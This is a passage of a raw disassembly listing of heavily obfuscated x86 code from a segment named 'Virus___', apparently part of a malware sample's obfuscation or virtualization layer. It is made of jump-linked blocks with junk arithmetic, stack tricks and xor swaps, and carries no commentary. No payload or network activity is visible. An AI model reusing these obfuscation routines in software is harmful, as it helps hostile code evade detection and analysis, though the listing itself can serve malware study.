loc_57D908:				; CODE XREF: Virus___:0057BB91j
		mov	[esp], ecx
		mov	ecx, esp
		push	3563h
		jmp	loc_57E218
; ---------------------------------------------------------------------------


loc_57D917:				; CODE XREF: Virus___:00573A4Dj
		pop	eax
		add	ecx, ebp
		pop	ebp
		push	4FC2h
		mov	[esp], esi
		mov	esi, 2
		jmp	loc_57D0B3
; ---------------------------------------------------------------------------


loc_57D92D:				; CODE XREF: Virus___:0057B296j
		sub	ebx, 35AD4851h
		pop	edi
		and	ebx, 5AFF7CBEh
		shl	ebx, 5
		sub	ebx, 53AD05FCh
		jmp	loc_57A5D5
; ---------------------------------------------------------------------------


loc_57D948:				; CODE XREF: Virus___:005736F3j
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 0Bh
		push	ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		jmp	loc_5759B1
; ---------------------------------------------------------------------------


loc_57D965:				; CODE XREF: Virus___:00578EDCj
		mov	bp, 7D78h
		sub	bp, 4060h
		mov	cx, bp
		pop	ebp
		push	bx
		push	edi
		jmp	loc_57D17A
; ---------------------------------------------------------------------------


loc_57D97A:				; CODE XREF: Virus___:0057A69Bj
		pop	dx
		push	edx
		mov	dh, 0C9h
		shl	dh, 8
		jmp	loc_57AA3C
; ---------------------------------------------------------------------------


loc_57D987:				; CODE XREF: Virus___:0057BF7Cj
		pop	ecx
		jmp	loc_57F045
; ---------------------------------------------------------------------------


loc_57D98D:				; CODE XREF: Virus___:0057ADCDj
		sub	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		not	ebp
		sub	ebp, 0B3563AE4h
		add	edi, ebp
		pop	ebp
		jmp	loc_572DA5
; ---------------------------------------------------------------------------


loc_57D9A5:				; CODE XREF: Virus___:00574348j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_573749
; ---------------------------------------------------------------------------


loc_57D9B7:				; CODE XREF: Virus___:0057D1A8j
		mov	esp, [esp]
		jmp	loc_577A32
; ---------------------------------------------------------------------------


loc_57D9BF:				; CODE XREF: Virus___:005746BFj
		xor	edx, [esp]
		jmp	loc_57A528
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	5F29h
		jmp	loc_57B24B
; ---------------------------------------------------------------------------


loc_57D9D5:				; CODE XREF: Virus___:0057A0CFj
		push	edx
		push	68Dh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		jmp	loc_57988E
; ---------------------------------------------------------------------------


loc_57D9EA:				; CODE XREF: Virus___:0057C22Fj
		sub	edi, esi
		jmp	loc_57DBA4
; ---------------------------------------------------------------------------


loc_57D9F1:				; CODE XREF: Virus___:0057CFF3j
		push	ebx
		jmp	loc_57A3B6
; ---------------------------------------------------------------------------


loc_57D9F7:				; CODE XREF: Virus___:00577134j
		not	dword ptr [esp]
		pop	edx
		inc	edx
		push	ebp
		mov	ebp, 980E564Dh
		sub	edx, ebp
		pop	ebp
		and	eax, edx
		jmp	loc_5741E5
; ---------------------------------------------------------------------------


loc_57DA0C:				; CODE XREF: Virus___:0057669Ej
		pop	ebp
		push	edx
		push	4675h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_57DF20
; ---------------------------------------------------------------------------


loc_57DA3B:				; CODE XREF: Virus___:0057D1DEj
		mov	edx, 25C91812h
		jmp	loc_577C76
; ---------------------------------------------------------------------------


loc_57DA45:				; CODE XREF: Virus___:0057E432j
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	5240h
		mov	[esp], ebx
		mov	ebx, 0CA72636h
		push	7249426Dh
		pop	edx
		jmp	loc_577BC0
; ---------------------------------------------------------------------------


loc_57DA6F:				; CODE XREF: Virus___:0057951Dj
		mov	ebp, 5D9020B3h
		or	edx, ebp
		pop	ebp
		and	edx, 69E4C1Bh
		xor	edx, 76956EEEh
		push	edx
		pop	ebp
		pop	edx
		not	ebp
		jmp	loc_57A0E1
; ---------------------------------------------------------------------------


loc_57DA8D:				; CODE XREF: Virus___:005730FBj
		sub	ax, 2671h
		sub	ax, 1F1Fh
		push	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	si, 17CFh
		mov	dx, 4A8Fh
		jmp	loc_5767DF
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_57634A
; ---------------------------------------------------------------------------


loc_57DAC4:				; CODE XREF: Virus___:0057B873j
		mov	ebx, 2A4C3FA0h
		shl	ebx, 5
		not	ebx
		inc	ebx
		or	ebx, 32784E22h
		push	0B16h
		mov	[esp], ecx
		mov	ecx, 0E92506D0h
		jmp	loc_576CFD
; ---------------------------------------------------------------------------


loc_57DAE7:				; CODE XREF: Virus___:0057B2D1j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_57B502
; ---------------------------------------------------------------------------


loc_57DAF2:				; CODE XREF: Virus___:0057EAE4j
		xor	esi, edx
		xor	edx, esi
		xor	edx, 0BE8890E5h
		jmp	loc_57381B
; ---------------------------------------------------------------------------


loc_57DB01:				; CODE XREF: Virus___:0057EB1Aj
		push	esi
		mov	esi, 2
		sub	ebp, 693C75ECh
		add	ebp, esi
		add	ebp, 693C75ECh
		pop	esi
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_574DF1
; ---------------------------------------------------------------------------


loc_57DB20:				; CODE XREF: Virus___:0057CDB6j
		add	eax, ebp
		add	eax, 5C56160Bh
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57DB3A:				; CODE XREF: Virus___:0057E27Dj
		mov	esp, [esp]
		not	al
		xor	[esp], al
		xor	al, [esp]
		xor	[esp], al
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57DB4D:				; CODE XREF: Virus___:0057914Cj
		sub	ebx, 0CFF46FF6h
		jmp	loc_57A9BB
; ---------------------------------------------------------------------------


loc_57DB58:				; CODE XREF: Virus___:0057B3EAj
		not	eax
		jmp	loc_57AC40
; ---------------------------------------------------------------------------


loc_57DB5F:				; CODE XREF: Virus___:00579286j
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_57B54C
; ---------------------------------------------------------------------------


loc_57DB71:				; CODE XREF: Virus___:0057C747j
		sub	ebx, 74321CF8h
		jmp	loc_57694A
; ---------------------------------------------------------------------------


loc_57DB7C:				; CODE XREF: Virus___:0057A26Bj
		push	ebx
		jmp	loc_5796B2
; ---------------------------------------------------------------------------


loc_57DB82:				; CODE XREF: Virus___:0057350Cj
		mov	edx, 2
		push	edx
		mov	edx, 70A30CEh
		sub	edx, 290A02BAh
		shl	edx, 1
		shl	edx, 1
		jmp	loc_57B6BA
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_577354
; ---------------------------------------------------------------------------


loc_57DBA4:				; CODE XREF: Virus___:0057D9ECj
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_579989
; ---------------------------------------------------------------------------


loc_57DBB3:				; CODE XREF: Virus___:005748F4j
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 40h
		push	ecx
		mov	ecx, 1AE10E43h
		add	ecx, 45EA5317h
		not	ecx
		or	ecx, 13DC541Fh
		inc	ecx
		sub	ecx, 79B34F63h
		xor	ecx, 3BD78AA5h
		sub	ebx, ecx
		pop	ecx
		add	ebx, 2A47018Dh
		add	ebx, 2EE3597Eh
		jmp	loc_57A721
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E580CDFEh, 4E5C03Eh, 0FFEBAEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_57DC0D:				; CODE XREF: Virus___:0057B4FDj
		mov	esi, 27B36B87h
		dec	esi
		jmp	loc_577956
; ---------------------------------------------------------------------------


loc_57DC18:				; CODE XREF: Virus___:0057A0B5j
		mov	edi, 651E3C93h
		push	ebx
		mov	ebx, 752B5233h
		xor	ebx, 6404049Bh
		shl	ebx, 2
		sub	ebx, 763268h
		jmp	loc_578173
; ---------------------------------------------------------------------------


loc_57DC37:				; CODE XREF: Virus___:0057E047j
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebx
		jmp	loc_57BB96
; ---------------------------------------------------------------------------


loc_57DC42:				; CODE XREF: Virus___:0057CFD5j
		not	edx
		jmp	loc_57CF47
; ---------------------------------------------------------------------------


loc_57DC49:				; CODE XREF: Virus___:005742E1j
		mov	al, 9Dh
		shl	al, 1
		push	ebx
		mov	bh, 44h
		sub	bh, 0A9h
		xor	al, bh
		pop	ebx
		sub	dl, al
		pop	eax
		add	dl, 96h
		or	bh, dl
		pop	edx
		sub	bh, 44h
		add	al, 44h
		sub	al, bh
		sub	al, 44h
		pop	ebx
		push	dx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 8Eh
		push	ebx
		mov	bh, cl
		mov	dl, bh
		jmp	loc_57EFA8
; ---------------------------------------------------------------------------


loc_57DC80:				; CODE XREF: Virus___:00574B18j
		pop	edx
		add	esi, ebx
		pop	ebx
		push	238Bh
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_57AB8E
; ---------------------------------------------------------------------------


loc_57DC96:				; CODE XREF: Virus___:00574B52j
		push	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 773D0B1Dh
		push	eax
		mov	eax, 41576C01h
		xor	eax, 130475DEh
		jmp	loc_57CE7C
; ---------------------------------------------------------------------------


loc_57DCB5:				; CODE XREF: Virus___:00574380j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57C7C5
; ---------------------------------------------------------------------------


loc_57DCC2:				; CODE XREF: Virus___:005783CBj
		sub	ebp, 0F907E68Ah
		jmp	loc_57448F
; ---------------------------------------------------------------------------


loc_57DCCD:				; CODE XREF: Virus___:00579F36j
		push	ebp
		sub	esp, 4
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 314F3EE4h
		shr	eax, 1
		and	eax, 43281D7Ah
		shl	eax, 8
		dec	eax
		shr	eax, 2
		sub	eax, 8075C7Bh
		add	[esp+4], eax
		pop	eax
		mov	ebp, [esp]
		push	ebp
		jmp	loc_57CFF8
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], esi
		push	4297h
		jmp	loc_573511
; ---------------------------------------------------------------------------


loc_57DD13:				; CODE XREF: Virus___:0057A65Ej
		sub	eax, 0D301F8A4h
		jmp	loc_57AC0B
; ---------------------------------------------------------------------------


loc_57DD1D:				; CODE XREF: Virus___:0057EDEDj
		mov	ecx, [esp]
		jmp	loc_57B2A5
; ---------------------------------------------------------------------------


loc_57DD25:				; CODE XREF: Virus___:0057DD91j
		pop	small word ptr [eax]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57DD2D:				; CODE XREF: Virus___:00576D40j
		xor	edx, 4375764Dh
		sub	edx, 7CA92ECEh
		jmp	loc_575883
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 667902E8h
		not	ebx
		or	ebx, 42964B3Ch
		and	ebx, 4F660738h
		push	eax
		mov	eax, 1F8E22DBh
		or	eax, 75B80755h
		sub	eax, 6DB62C16h
		or	eax, 0C062E99h
		neg	eax
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		not	esi
		jmp	loc_57A65D
; ---------------------------------------------------------------------------


loc_57DD7D:				; CODE XREF: Virus___:00574B00j
		mov	[esp], ebp
		inc	dword ptr [esp]
		pop	ebp
		push	1A8Ch
		jmp	loc_575B9D
; ---------------------------------------------------------------------------


loc_57DD8E:				; CODE XREF: Virus___:0057567Cj
		sub	ebx, eax
		pop	eax
		jmp	loc_57DD25
; ---------------------------------------------------------------------------


loc_57DD96:				; CODE XREF: Virus___:0057EF21j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	eax, 4A8E61BBh
		sub	eax, ebx
		sub	eax, 4A8E61BBh
		push	771Ch
		mov	[esp], edx
		mov	edx, 77DC4ADEh
		jmp	loc_57BFE1
; ---------------------------------------------------------------------------


loc_57DDC6:				; CODE XREF: Virus___:00575BDEj
		push	0B1Ch
		mov	[esp], edx
		push	2B5Fh
		jmp	loc_57A642
; ---------------------------------------------------------------------------


loc_57DDD8:				; CODE XREF: Virus___:0057644Aj
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_575665
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1E7F6874h
		jmp	loc_575701
; ---------------------------------------------------------------------------


loc_57DDF6:				; CODE XREF: Virus___:00575842j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57DDFB:				; CODE XREF: Virus___:0057B089j
		sub	ebp, 5D555866h
		dec	ebp
		jmp	loc_57DF97
; ---------------------------------------------------------------------------


loc_57DE07:				; CODE XREF: Virus___:00577E48j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_57C511
; ---------------------------------------------------------------------------


loc_57DE1A:				; CODE XREF: Virus___:00577A8Dj
		add	ebx, 28DB335Dh
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_57AE56
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57DE40:				; CODE XREF: Virus___:0057B1FCj
		mov	bl, 8Dh
		sub	al, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	al, dh
		add	al, 8Dh
		pop	edx
		sub	esp, 4
		jmp	loc_57ECB3
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57DE63:				; CODE XREF: Virus___:0057E5DFj
		pop	edx
		sub	esi, 78376EFAh
		add	esi, 15B13698h
		add	esi, edx
		sub	esi, 15B13698h
		add	esi, 78376EFAh
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_57B743
; ---------------------------------------------------------------------------


loc_57DE9B:				; CODE XREF: Virus___:0057E073j
		or	ch, 5Ch
		not	ch
		sub	ch, 0CDh
		add	ch, 7Eh
		add	ch, 18h
		add	bl, ch
		jmp	loc_57AB95
; ---------------------------------------------------------------------------


loc_57DEB0:				; CODE XREF: Virus___:00578A0Dj
		div	cx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_579B11
; ---------------------------------------------------------------------------


loc_57DEC1:				; CODE XREF: Virus___:0057B2C5j
		pop	edx
		push	dx
		mov	dh, 0EFh
		sub	al, dh
		jmp	loc_575633
; ---------------------------------------------------------------------------


loc_57DECD:				; CODE XREF: Virus___:00573F09j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1F94287Ch
		sub	edi, 1F94287Ah
		add	eax, edi
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5732F0
; ---------------------------------------------------------------------------


loc_57DEEE:				; CODE XREF: Virus___:00575277j
		pop	edx
		pop	edx
		jmp	loc_5750EE
; ---------------------------------------------------------------------------


loc_57DEF5:				; CODE XREF: Virus___:0057D4C6j
		add	esp, 4
		pop	edx
		and	ecx, ebp
		jmp	loc_5740A5
; ---------------------------------------------------------------------------


loc_57DF00:				; CODE XREF: Virus___:0057ACB4j
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_579752
; ---------------------------------------------------------------------------


loc_57DF0E:				; CODE XREF: Virus___:0057552Aj
		mov	edi, 72954C56h
		xor	edx, edi
		pop	edi
		shl	edx, 6
		not	edx
		jmp	loc_5767E7
; ---------------------------------------------------------------------------


loc_57DF20:				; CODE XREF: Virus___:0057DA36j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 0Bh
		jmp	loc_57A30A
; ---------------------------------------------------------------------------


loc_57DF33:				; CODE XREF: Virus___:0057A9C4j
		sub	esp, 4
		mov	[esp], edi
		push	77780F55h
		pop	edi
		add	edi, 8887F0ADh
		mov	edx, edi
		jmp	loc_577773
; ---------------------------------------------------------------------------


loc_57DF4C:				; CODE XREF: Virus___:0057B6C2j
		add	ecx, edx
		pop	edx
		add	ecx, edx
		sub	ecx, 68095EF8h
		jmp	loc_57EA9E
; ---------------------------------------------------------------------------


loc_57DF5C:				; CODE XREF: Virus___:00575EB8j
		xor	ebx, ebp
		jmp	loc_5747E6
; ---------------------------------------------------------------------------


loc_57DF63:				; CODE XREF: Virus___:00577655j
		shl	ecx, 6
		jmp	loc_576C38
; ---------------------------------------------------------------------------


loc_57DF6B:				; CODE XREF: Virus___:0057BC8Cj
		push	dword ptr [esp]
		pop	ebp
		push	esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_57C590
; ---------------------------------------------------------------------------


loc_57DF8A:				; CODE XREF: Virus___:00576F76j
		mov	ebp, 14860709h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_57ACD4
; ---------------------------------------------------------------------------


loc_57DF97:				; CODE XREF: Virus___:0057DE02j
		add	ebp, 3BF6F8B4h
		jmp	loc_575550
; ---------------------------------------------------------------------------


loc_57DFA2:				; CODE XREF: Virus___:00579F5Dj
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	6B26h
		jmp	loc_576AC6
; ---------------------------------------------------------------------------


loc_57DFC0:				; CODE XREF: Virus___:00579DB6j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_576049
; ---------------------------------------------------------------------------


loc_57DFD4:				; CODE XREF: Virus___:0057A36Dj
		mov	[esp], eax
		jmp	loc_5796D7
; ---------------------------------------------------------------------------


loc_57DFDC:				; CODE XREF: Virus___:0057BF57j
		pop	eax
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	760Fh
		mov	[esp], eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_57AF0B
; ---------------------------------------------------------------------------


loc_57DFFE:				; CODE XREF: Virus___:0057C451j
		shr	eax, 4
		push	esi
		jmp	loc_576E22
; ---------------------------------------------------------------------------


loc_57E007:				; CODE XREF: Virus___:00572A04j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 0FEh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_57B62F
; ---------------------------------------------------------------------------


loc_57E034:				; CODE XREF: Virus___:00573070j
		pop	eax
		jmp	loc_573DD1
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_578383
; ---------------------------------------------------------------------------


loc_57E043:				; CODE XREF: Virus___:00577618j
		pop	esp
		sub	esp, 4
		jmp	loc_57DC37
; ---------------------------------------------------------------------------


loc_57E04C:				; CODE XREF: Virus___:0057C661j
		inc	esi
		sub	esi, 64C419Fh
		xor	esi, 528AF9ECh
		add	ebx, esi
		jmp	loc_5754C4
; ---------------------------------------------------------------------------


loc_57E060:				; CODE XREF: Virus___:005741C6j
		pop	ebx
		jmp	loc_577D1A
; ---------------------------------------------------------------------------


loc_57E066:				; CODE XREF: Virus___:0057B41Bj
		add	eax, 51917634h
		jmp	loc_577514
; ---------------------------------------------------------------------------


loc_57E070:				; CODE XREF: Virus___:00574966j
		and	ch, ah
		pop	eax
		jmp	loc_57DE9B
; ---------------------------------------------------------------------------


loc_57E078:				; CODE XREF: Virus___:0057E5E7j
		sub	edi, 0AEF46031h
		mov	edx, edi
		pop	edi
		jmp	loc_57BF3D
; ---------------------------------------------------------------------------


loc_57E086:				; CODE XREF: Virus___:0057EB12j
		pop	edi
		shl	edx, 7
		xor	edx, 51D96EA2h
		xor	ecx, edx
		pop	edx
		add	ecx, 648F6132h
		jmp	loc_5757F3
; ---------------------------------------------------------------------------


loc_57E09E:				; CODE XREF: Virus___:005774EFj
		inc	eax
		jmp	loc_5778EF
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_574356
; ---------------------------------------------------------------------------


loc_57E0B9:				; CODE XREF: Virus___:00576491j
		neg	eax
		xor	eax, 51D8BC27h
		jmp	loc_57A031
; ---------------------------------------------------------------------------


loc_57E0C5:				; CODE XREF: Virus___:00572E22j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_577BCE
; ---------------------------------------------------------------------------


loc_57E0D1:				; CODE XREF: Virus___:0057801Aj
		mov	bp, [esp]
		add	esp, 2
		xor	bx, ax
		movzx	eax, ax
		push	small 5195h
		mov	[esp], ax
		jmp	loc_573797
; ---------------------------------------------------------------------------


loc_57E0EE:				; CODE XREF: Virus___:005765B5j
		sub	eax, 682370AEh
		mov	esi, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_57CEBF
; ---------------------------------------------------------------------------


loc_57E108:				; CODE XREF: Virus___:0057659Cj
		xor	edx, 6FFF6FE9h
		add	ebx, 53117A1Ch
		jmp	loc_576E39
; ---------------------------------------------------------------------------


loc_57E119:				; CODE XREF: Virus___:0057891Fj
		add	ecx, 67D13DAAh
		push	ecx
		jmp	loc_573FC8
; ---------------------------------------------------------------------------


loc_57E125:				; CODE XREF: Virus___:00574558j
		mov	[esp], ecx
		jmp	loc_578FB2
; ---------------------------------------------------------------------------


loc_57E12D:				; CODE XREF: Virus___:0057A863j
		dec	bh
		xor	bh, 0E3h
		push	ecx
		mov	cl, 97h
		push	46C6h
		mov	[esp], eax
		mov	al, 60h
		add	bh, al
		pop	eax
		sub	bh, 3Fh
		sub	bh, 0DAh
		jmp	loc_57A2B8
; ---------------------------------------------------------------------------


loc_57E14D:				; CODE XREF: Virus___:0057AB81j
		push	dword ptr [ebx]
		push	59D7h
		mov	[esp], edi
		mov	edi, 24854E3Fh
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5749EA
; ---------------------------------------------------------------------------


loc_57E174:				; CODE XREF: Virus___:0057EE4Aj
		pop	esi
		push	edx
		jmp	loc_57C42A
; ---------------------------------------------------------------------------


loc_57E17B:				; CODE XREF: Virus___:0057C2A9j
		pop	ebp
		pop	ebp
		push	48A8h
		mov	[esp], eax
		jmp	loc_57C93C
; ---------------------------------------------------------------------------


loc_57E18A:				; CODE XREF: Virus___:00577011j
		or	ecx, ecx
		jz	loc_57D129
		push	148Bh
		push	esp
		jmp	loc_57CF18
; ---------------------------------------------------------------------------


loc_57E19D:				; CODE XREF: Virus___:0057D241j
		mov	edi, [esp]
		add	esp, 4
		sub	[esp+4], ebp
		jmp	loc_57EC2B
; ---------------------------------------------------------------------------


loc_57E1AC:				; CODE XREF: Virus___:0057809Dj
		not	eax
		xor	eax, 5C855716h
		not	eax
		xor	eax, 35F063A9h
		add	ecx, eax
		pop	eax
		add	ecx, 38560FF4h
		jmp	loc_575A6C
; ---------------------------------------------------------------------------


loc_57E1C8:				; CODE XREF: Virus___:0057C02Bj
		mov	ebp, esi
		jmp	loc_57BE76
; ---------------------------------------------------------------------------


loc_57E1CF:				; CODE XREF: Virus___:005798DEj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		jmp	loc_577CFB
; ---------------------------------------------------------------------------


loc_57E1E5:				; CODE XREF: Virus___:00577B72j
		mov	[esp], edx
		push	ecx
		push	44A76439h
		pop	ecx
		sub	ecx, 0EFEC1DEAh
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	[esp+4], edx
		pop	edx
		sub	dword ptr [esp], 735A1ED6h
		add	[esp], eax
		add	dword ptr [esp], 735A1ED6h
		jmp	loc_579325
; ---------------------------------------------------------------------------


loc_57E218:				; CODE XREF: Virus___:0057D912j
		mov	[esp], edi
		push	4
		pop	edi
		add	ecx, edi
		pop	edi
		push	esi
		mov	esi, 2
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], bx
		push	small word ptr [esp+2]
		pop	bx
		pop	small word ptr [esp]
		push	bx
		jmp	loc_579DBB
; ---------------------------------------------------------------------------


loc_57E249:				; CODE XREF: Virus___:0057ECF4j
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dl, ah
		mov	bh, dl
		pop	edx
		push	edx
		mov	dl, bh
		mov	ch, dl
		pop	edx
		pop	ebx
		pop	eax
		pop	ebx
		mov	[edx], ch
		pop	ecx
		jmp	loc_5732F9
; ---------------------------------------------------------------------------


loc_57E266:				; CODE XREF: Virus___:0057652Fj
		sub	bl, ah
		jmp	loc_57619E
; ---------------------------------------------------------------------------


loc_57E26D:				; CODE XREF: Virus___:0057C83Bj
		mov	esi, 0AED0B98Fh
		jmp	loc_57834C
; ---------------------------------------------------------------------------


loc_57E277:				; CODE XREF: Virus___:00578CA4j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_57DB3A
; ---------------------------------------------------------------------------


loc_57E282:				; CODE XREF: Virus___:00577141j
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_576996
; ---------------------------------------------------------------------------


loc_57E28D:				; CODE XREF: Virus___:00577347j
		pop	edi
		jmp	loc_574C44
; ---------------------------------------------------------------------------


loc_57E293:				; CODE XREF: Virus___:0057B80Aj
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		jmp	loc_57555B
; ---------------------------------------------------------------------------


loc_57E2A7:				; CODE XREF: Virus___:0057484Dj
		mov	[esp], ecx
		jmp	loc_574C14
; ---------------------------------------------------------------------------


loc_57E2AF:				; CODE XREF: Virus___:0057EA6Cj
		dec	edi
		sub	edi, 0BC158613h
		jmp	loc_57873E
; ---------------------------------------------------------------------------


loc_57E2BB:				; CODE XREF: Virus___:0057A249j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_57E2C6:				; CODE XREF: Virus___:00573C4Fj
					; Virus___:0057A414j
		push	dword ptr [edi+24h]
		push	eax
		mov	eax, 3CDF59C2h
		xor	[esp+4], eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_577670
; ---------------------------------------------------------------------------


loc_57E2E1:				; CODE XREF: Virus___:0057BB9Bj
		add	edi, ebx
		pop	ebx
		add	edi, 4
		push	7A7Ch
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_576631
; ---------------------------------------------------------------------------


loc_57E309:				; CODE XREF: Virus___:00574A07j
		mov	bl, ch
		mov	dl, bl
		pop	ebx
		jmp	loc_57485E
; ---------------------------------------------------------------------------


loc_57E313:				; CODE XREF: Virus___:005757FEj
		push	eax
		mov	eax, 0
		add	eax, edx
		mov	ecx, [eax]
		pop	eax
		jmp	loc_5795F6
; ---------------------------------------------------------------------------


loc_57E323:				; CODE XREF: Virus___:00579C27j
		push	456Eh
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_57EAAF
; ---------------------------------------------------------------------------


loc_57E338:				; CODE XREF: Virus___:00578DF4j
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57E342:				; CODE XREF: Virus___:00579ACAj
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57E351:				; CODE XREF: Virus___:0057EFA3j
		add	eax, edx
		pop	edx
		add	eax, 6F363EEDh
		sub	eax, ebx
		sub	eax, 6F363EEDh
		jmp	loc_578CA9
; ---------------------------------------------------------------------------


loc_57E365:				; CODE XREF: Virus___:0057C78Ej
		add	eax, edx
		jmp	loc_5757CF
; ---------------------------------------------------------------------------


loc_57E36C:				; CODE XREF: Virus___:00575F8Aj
		mov	ecx, [esp]
		jmp	loc_57EACA
; ---------------------------------------------------------------------------


loc_57E374:				; CODE XREF: Virus___:00574429j
		pop	edi
		jmp	loc_577D78
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		jmp	loc_5797B8
; ---------------------------------------------------------------------------


loc_57E387:				; CODE XREF: Virus___:0057CE02j
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_57C6F1
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	edx
		jmp	loc_579210
; ---------------------------------------------------------------------------


loc_57E3A2:				; CODE XREF: Virus___:0057C318j
		or	ebx, 82F5F2Dh
		shr	ebx, 1
		push	ebp
